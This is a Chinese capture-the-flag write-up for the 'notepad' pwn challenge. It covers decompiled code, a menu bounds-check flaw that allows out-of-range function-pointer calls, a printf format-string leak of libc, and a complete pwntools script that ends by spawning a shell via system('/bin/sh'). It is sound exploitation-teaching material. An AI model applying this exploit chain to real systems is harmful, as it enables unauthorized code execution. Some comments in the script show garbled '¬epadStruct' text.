实验平台:
x86_64, Ubuntu 18.04.5 LTS, Kernel 4.15.0-156-generic
glibc 2.27-3ubuntu1.4, libc6-i386-2.27-3ubuntu1.4
实验Binary及答案:
https://github.com/bjrjk/pwn-learning/tree/main/FormatString/notepad
因为该题目比较复杂,所以我将经过我修改、分析的idb数据库文件也一并上传到了Github供学习使用。
首先查看ELF的安全性信息checksec elf
:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
未开PIE,GOT表可修改。
首先是用IDA对程序进行反编译、语义分析。该题目中存在一个重要的数据结构,我和更正过的代码一起贴在下面。大家也可以从Github上下载idb文件查看。
struct __attribute__((packed)) __attribute__((aligned(1))) notepadStruct
{
void (__cdecl *show)(notepadStruct *);
void (__cdecl *destroy)(notepadStruct *);
_DWORD writable;
_DWORD size;
char text[size];
};
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v4[7]; // [esp+8h] [ebp-20h] BYREF
v4[5] = (char *)__readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
alarm(30u);
puts(" _ _ ");
puts("| |__ __ _ ___| | ___ __ ___ ___ ");
puts("| '_ \\ / _` |/ __| |/ / '_ ` _ \\ / _ \\");
puts("| | | | (_| | (__| <| | | | | | __/");
puts("|_| |_|\\__,_|\\___|_|\\_\\_| |_| |_|\\___|");
puts(" ");
v4[0] = "bash";
v4[1] = "cmd";
v4[2] = "notepad";
v4[3] = "exit";
v4[4] = 0;
while ( 1 )
{
switch ( menu(v4) )
{
case 0:
puts("Invalid option");
break;
case 1:
bash();
break;
case 2:
cmd();
break;
case 3:
notepad();
break;
case 5:
return 0;
default:
continue;
}
}
}
unsigned int bash()
{
char s[128]; // [esp+Ch] [ebp-8Ch] BYREF
unsigned int v2; // [esp+8Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
printf("inndy ~$ ");
fgets(s, 128, stdin);
rstrip(s);
printf("bash: %s: command not found\n", s);
return __readgsdword(0x14u) ^ v2;
}
unsigned int cmd()
{
char s[128]; // [esp+Ch] [ebp-8Ch] BYREF
unsigned int v2; // [esp+8Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
puts("Microhard Wind0ws [Version 3.1.3370]");
puts("(c) 2016 Microhard C0rporat10n. A11 rights throwed away.");
puts(&byte_8049371);
printf("C:\\Users\\Inndy>");
fgets(s, 128, stdin);
rstrip(s);
printf("'%s' is not recognized as an internal or external command\n", s);
return __readgsdword(0x14u) ^ v2;
}
void notepad()
{
char *v0[9]; // [esp+4h] [ebp-24h] BYREF
v0[6] = (char *)__readgsdword(0x14u);
v0[0] = "New note";
v0[1] = "Open note";
v0[2] = "Delete note";
v0[3] = "Set readonly";
v0[4] = "Keep the secret";
v0[5] = 0;
while ( 1 )
{
switch ( menu(v0) )
{
case 0:
puts("Unknow option");
break;
case 1:
notepad_new();
break;
case 2:
notepad_open();
break;
case 3:
notepad_delete();
break;
case 4:
notepad_rdonly();
break;
case 5:
notepad_keepsec();
break;
default:
continue;
}
}
}
void __cdecl notepad_forbidden()
{
puts("you shall not pass");
}
void __cdecl notepad_show(notepadStruct *a1)
{
printf("content: %s\n", a1->text);
}
void __cdecl notepad_destory(notepadStruct *a1)
{
memset(a1->text, 0, a1->size);
}
notepadStruct **__cdecl notepad_find_slot()
{
int i; // [esp+Ch] [ebp-4h]
for ( i = 0; i <= 15; ++i )
{
if ( !notes[i] )
return (notepadStruct **)(4 * i + 0x804B080);
}
return 0;
}
void __cdecl notepad_new()
{
notepadStruct **ptr; // [esp+4h] [ebp-14h]
int n; // [esp+8h] [ebp-10h]
notepadStruct *v2; // [esp+Ch] [ebp-Ch]
ptr = notepad_find_slot();
if ( ptr )
{
printf("size > ");
n = readint();
if ( n > 0 && n <= 1024 )
{
v2 = (notepadStruct *)malloc(n + 16);
v2->size = n;
v2->writable = 1;
v2->show = notepad_show;
v2->destroy = notepad_destory;
printf("data > ");
fgets(v2->text, n, stdin);
*ptr = v2;
printf("your note id is %d\n", ptr - notes);
}
else
{
puts("invalid size");
}
}
else
{
puts("space is full");
}
}
notepadStruct **__cdecl notepad_choose()
{
int v1; // [esp+Ch] [ebp-Ch]
printf("id > ");
v1 = readint();
if ( v1 <= 15 && v1 >= 0 && notes[v1] )
return (notepadStruct **)(4 * v1 + 0x804B080);
puts("invalid note");
return 0;
}
void __cdecl notepad_open()
{
notepadStruct **v0; // [esp+4h] [ebp-1024h]
notepadStruct *v1; // [esp+8h] [ebp-1020h]
int v2; // [esp+Ch] [ebp-101Ch]
char *items[3]; // [esp+10h] [ebp-1018h] BYREF
char s[4096]; // [esp+1Ch] [ebp-100Ch] BYREF
unsigned int v5; // [esp+101Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
v0 = notepad_choose();
if ( v0 )
{
v1 = *v0;
puts("note opened");
if ( v1->writable )
{
if ( yes_or_no("edit") )
{
printf("content > ");
fgets(s, 4096, stdin);
strncpy(v1->text, s, v1->size);
puts("note saved");
}
}
items[0] = "show note";
items[1] = "destory note";
items[2] = 0;
v2 = menu(items);
(*((void (__cdecl **)(notepadStruct *))v1 + v2 - 1))(v1);
puts("note closed");
}
}
void __cdecl notepad_delete()
{
notepadStruct **ptr; // [esp+8h] [ebp-10h]
ptr = notepad_choose();
if ( ptr )
{
free(*ptr);
*ptr = 0;
puts("deleted");
}
}
void __cdecl notepad_rdonly()
{
notepadStruct **ptr; // [esp+8h] [ebp-10h]
ptr = notepad_choose();
if ( ptr )
{
(*ptr)->writable = 0;
puts("Okey, this note is read-only now");
}
}
void __cdecl notepad_keepsec()
{
notepadStruct **ptr; // [esp+8h] [ebp-10h]
ptr = notepad_choose();
if ( ptr )
{
(*ptr)->show = (void (__cdecl *)(notepadStruct *))notepad_forbidden;
puts("Okey, this note is read-only now");
}
}
size_t __cdecl rstrip(char *s)
{
size_t i; // [esp+Ch] [ebp-Ch]
for ( i = strlen(s); (--i & 0x80000000) == 0; s[i] = 0 )
{
if ( s[i] != '\n' && s[i] != ' ' )
return i;
}
return 0;
}
int freeline()
{
int result; // eax
do
result = getchar();
while ( result != -1 && result != '\n' );
return result;
}
int __cdecl yes_or_no(const char *a1)
{
char s[64]; // [esp+1Ch] [ebp-4Ch] BYREF
unsigned int v3; // [esp+5Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
do
{
while ( 1 )
{
printf("%s (Y/n)", a1);
fgets(s, 64, stdin);
if ( s[0] == 'Y' )
return 1;
if ( s[0] <= 'Y' )
break;
if ( s[0] == 'n' )
return 0;
if ( s[0] == 'y' )
return 1;
}
if ( s[0] == '\n' )
return 1;
}
while ( s[0] != 'N' );
return 0;
}
int __cdecl menu(char **items)
{
int result; // eax
int i; // [esp+8h] [ebp-10h]
int v3; // [esp+Ch] [ebp-Ch]
for ( i = 0; items[i]; ++i )
printf("%c> %s\n", i + 'a', items[i]);
printf("::> ");
v3 = getchar() - 'a';
freeline();
if ( v3 < i )
result = v3 + 1;
else
result = 0;
return result;
}
int readint()
{
int v1[4]; // [esp+8h] [ebp-10h] BYREF
v1[1] = __readgsdword(0x14u);
__isoc99_scanf("%d", v1);
freeline();
return v1[0];
}
首先,很明显。bash
和cmd
都是逗你玩。真正的利用点是出在notepad
里面。
我一开始是没有看出来notepad
里哪里有利用点的。只是发现notepad_open()
里面有一个函数指针调用(213行)。我觉得肯定和这个有关,但是自己也没能特别想出来,所以就简单看了一下参考资料[1]。我只借助了里面的一些提示,剩下都是按照自己的想法做的,也和他的WP不完全一致。
我借助的提示包括:
-
menu()
函数存在漏洞,其中只是做了对于大于指定范围的验证,而没有进行小于指定范围时的验证。因此,在notepad_open()
函数处,函数指针调用可以不止调用给定的show和destory两个操作。 -
在此指针处先调用
strncpy()
,再调用printf()
。
下面的所有步骤均为我自己尝试得出的。
首先,因为我不熟悉glibc的堆分配规则,所以简单对malloc()
做了个实验,源码如下:
testMalloc.c
:
#include <stdio.h>
#include <stdlib.h>
int main(){
for(int i=0; i<10; i++){
void *p = malloc(0x20);
printf("%p\n", p);
}
return 0;
}
编译命令为:
gcc testMalloc.c -m32 -o testMalloc
执行testMalloc
,一种可能的结果如下:
0x5786c160
0x5786c5a0
0x5786c5d0
0x5786c600
0x5786c630
0x5786c660
0x5786c690
0x5786c6c0
0x5786c6f0
0x5786c720
我们发现,除了第一个之外,其他的堆内存指针之间都只差0x30
。也就是说,向malloc()
申请一个块大小为0x20
的内存块,指针差0x20
。在我对notepad
进行调试的时候,并没有出现像第一个那么独特的情况,各内存块之间都只差0x30
。所以该特殊情况,在本文中可以不予考虑。
为了方便起见,我将结构体定义再次复制到此处。
struct __attribute__((packed)) __attribute__((aligned(1))) notepadStruct
{
void (__cdecl *show)(notepadStruct *);
void (__cdecl *destroy)(notepadStruct *);
_DWORD writable;
_DWORD size;
char text[size];
};
可以看到,我们能写入的点在& notepadStruct.text
处,因此我们就将函数指针写到这里。第213行的函数指针基址指向& notepadStruct
。因此当我们站在第1
个notepadStruct处调用想要调用第0
个& notepadStruct.text
处的函数地址时,偏移差0x30-0x10=0x20
,还需要除以4,最终得出的偏移量为-8。
按照提示2,我们需要调用printf()
函数,但根据第213行的伪代码,传入的参数v1
只是一个notepadStruct
类型的指针,因此,我们要想办法用格式化字符串去覆盖此处指针对应的内存数据,所以我们想到了strncpy
。
根据在IDA中对汇编代码的分析,及GDB中的实际调试,对于函数指针的调用,第二个参数和第三个参数正好是s
和v1->size
。所以我们只要在notepad_open()
中对note进行编辑时,内容输入要copy的字符串,就可以利用strncpy
把字符串拷贝至第一个参数处。
看起来到这里,我们就可以调用printf了,只要取printf的PLT地址往堆里一写即可。但是就这样想,还是太天真了。我试了一下,发现完全无效,call eax
指令处eax
的值为NULL
!
经过代码分析,我发现了问题。在204-205行处:
char s[4096]; // [esp+1Ch] [ebp-100Ch] BYREF
fgets(s, 4096, stdin);
strncpy(v1->text, s, v1->size);
读入的字符串首先被写到栈上,然后使用strncpy()
函数拷贝到堆里。但是,strncpy()
是一个字符串拷贝函数,当它遇到\0
的时候,就会自动停止拷贝。这道题里面,又巧了,printf()
的plt地址恰好是0x8048500
,x86机器按照小端法给地址打包,结果发送到栈中的字符串就是\x00\x85\x04\x08
,好了,strncpy()
看到第一个字符是\0
,直接停止拷贝了,直接完蛋。
所以,我后来在想,如何可以绕过这里。中间走了一大通弯路。想着用puts()
函数泄露puts()
的got地址。试了半天也是无效。结果后来我又回到printf()
这里。灵机一动,想起了Linux下动态链接——函数延迟绑定的工作原理:
linux通过PLT条目间接访问动态链接的函数。当程序被动态链接器加载入内存时且不开启RELRO的情况下,程序的GOT条目默认指向PLT条目之后的延迟绑定代码。程序首次调用某一还未绑定的外部函数时,执行PLT条目直接跳转到延迟绑定代码,此延迟绑定代码再跳转至动态链接器完成函数的绑定,并将其写入GOT表中,然后由动态链接器再次转入PLT条目,发起对函数的调用。
因此,因为本题目的RELRO没有全开,GOT表可写,我们可以通过间接访问延迟绑定代码的方式,再次调用到printf函数。而printf的延迟绑定代码位于0x8048506
,低位终于不是0x00
了,所以printf()
有救了。[狗头]
好了,我们解决了printf的调用,printf的格式化字符串。我们得想个什么办法把libc的基址泄露出来。最常见的泄露方法就是打印puts的got内容。我想了半天,借助printf的第二参是没用了,怎么样都没办法让printf替我解多层的指针引用。后来我又想到,s是在栈上的,printf可以获取任意栈上的参数,我们可以在s中再写入puts的got地址,然后用%s
,让printf替我把got的内容打出来。
经过gdb计算,如果把got地址写在头部,恰好是printf的第11个参数。那么这样看来,泄露libc基址的整条调用链就已经形成了。大致代码如下,本文最终会列出全部函数。
# Write strncpy() address to notepadStruct0.text(& notepadStruct0+16B)
notepad_open(p, 0, p32(strncpy_plt), "a")
"""
First, send the printf format string to stack variable array s. The
11th argument will be the GOT adress of puts. We need to leak that.
Secondly, there exists a vulnerability in menu() so we can call arbitary
function, and the offset between & notepadStruct1 and & notepadStruct0.text
is 0x20, so we minus 8 here in the option.
In all, we executed strncpy(& notepadStruct1, "%11s", 16).
"""
notepad_open(p, 1, "%11s " + "\x00", chr(ord("a") - 8))
# Write printf() address to notepadStruct0.text(& notepadStruct0+16B)
notepad_open(p, 0, p32(printf_plt), "a")
"""
Here we wrote GOT address of puts() to the stack also the 11th argument
position and called the printf().
In all, we executed printf("%11$s", ... (9 arguments), got_of_puts) to
leak the libc address of puts to find libc base offset.
"""
notepad_open(p, 1, p32(puts_got) + " \x00", chr(ord("a") - 8))
puts_libc = u32(p.recv(4))
好。经过上面的磨练,那么下面的事情就简单了。首先把/bin/sh
复制到第一个参数处,然后调用system()
。因为上面把0、1两个结构体破坏掉了,为了方便,我们用2、3两个结构体再来一遍这种操作。
# Similarly, copy "/bin/sh" as the first argument
notepad_open(p, 2, p32(strncpy_plt), "a")
notepad_open(p, 3, "/bin/sh" + "\x00", chr(ord("a") - 8))
# Prepare system()
notepad_open(p, 2, p32(system_libc), "a")
# Call system("/bin/sh")
notepad_open_noinput(p, 3, chr(ord("a") - 8))
我已经将大致的思路用文字讲清楚了,如果还有不明白的地方,建议自己用gdb调试看看,就会懂了。
下面给出题解answer.py
:
#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os, base64, math, time
context(arch = "i386",os = "linux", log_level = "debug")
def notepad_init(p):
p.recvuntil("::> ")
p.sendline("c")
def notepad_new(p):
p.recvuntil("::> ")
p.sendline("a")
p.recvuntil("size > ")
p.sendline("16")
p.recvuntil("data > ")
p.sendline("\x00")
def notepad_open(p, id, content, option):
p.recvuntil("::> ")
p.sendline("b")
p.recvuntil("id > ")
p.sendline("%d" % id)
p.recvuntil("edit (Y/n)")
p.sendline("Y")
p.recvuntil("content > ")
p.sendline(content)
p.recvuntil("::> ")
p.sendline(option)
def notepad_open_noinput(p, id, option):
p.recvuntil("::> ")
p.sendline("b")
p.recvuntil("id > ")
p.sendline("%d" % id)
p.recvuntil("::> ")
p.sendline(option)
p = process('./notepad')
elf = ELF('./notepad')
gdb_command = """
b *0x8048ae7
b *0x8048ce8
"""
# 0x8048ae7: malloc on notepad_new
# 0x8048ce8: call eax on notepad_open
strncpy_plt = elf.plt['strncpy']
"""
The PLT address of printf end with 0x00, obstructed the copy from
stack variable array s in notepad_open() to v1->text in heap on strncpy()
function. According to PLT/GOT mechanism, call to PLT entry address + 6
will lead to dynamic linker refilling the GOT table entry and reinvoke
function again. So add the origin PLT address to a offset 0x6 will have
the same effect on calling the pure PLT entry.
"""
printf_plt = elf.plt['printf'] + 0x6
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
time.sleep(1)
# gdb.attach(p, gdb_command)
notepad_init(p)
"""
Via experimenting, every 0x20 Bytes memory block allocation request
sent to malloc() would lead to a 0x30 Bytes offset between two memory
block pointers.
"""
for i in range(4):
notepad_new(p) # Apply memory for 4 notepadStruct
# Write strncpy() address to notepadStruct0.text(¬epadStruct0+16B)
notepad_open(p, 0, p32(strncpy_plt), "a")
"""
First, send the printf format string to stack variable array s. The
11th argument will be the GOT adress of puts. We need to leak that.
Secondly, there exists a vulnerability in menu() so we can call arbitary
function, and the offset between ¬epadStruct1 and ¬epadStruct0.text
is 0x20, so we minus 8 here in the option.
In all, we executed strncpy(¬epadStruct1, "%11s", 16).
"""
notepad_open(p, 1, "%11s " + "\x00", chr(ord("a") - 8))
# Write printf() address to notepadStruct0.text(¬epadStruct0+16B)
notepad_open(p, 0, p32(printf_plt), "a")
"""
Here we wrote GOT address of puts() to the stack also the 11th argument
position and called the printf().
In all, we executed printf("%11$s", ... (9 arguments), got_of_puts) to
leak the libc address of puts to find libc base offset.
"""
notepad_open(p, 1, p32(puts_got) + " \x00", chr(ord("a") - 8))
puts_libc = u32(p.recv(4))
print("puts libc: %s" % hex(puts_libc))
libc = LibcSearcher('puts', puts_libc)
libc_base = puts_libc - libc.dump('puts')
print("base libc: %s" % hex(libc_base))
system_libc = libc_base + libc.dump('system')
print("system libc: %s" % hex(system_libc))
# Similarly, copy "/bin/sh" as the first argument
notepad_open(p, 2, p32(strncpy_plt), "a")
notepad_open(p, 3, "/bin/sh" + "\x00", chr(ord("a") - 8))
# Prepare system()
notepad_open(p, 2, p32(system_libc), "a")
# Call system("/bin/sh")
notepad_open_noinput(p, 3, chr(ord("a") - 8))
p.interactive()
参考资料:
[1] https://blog.csdn.net/niexinming/article/details/78768850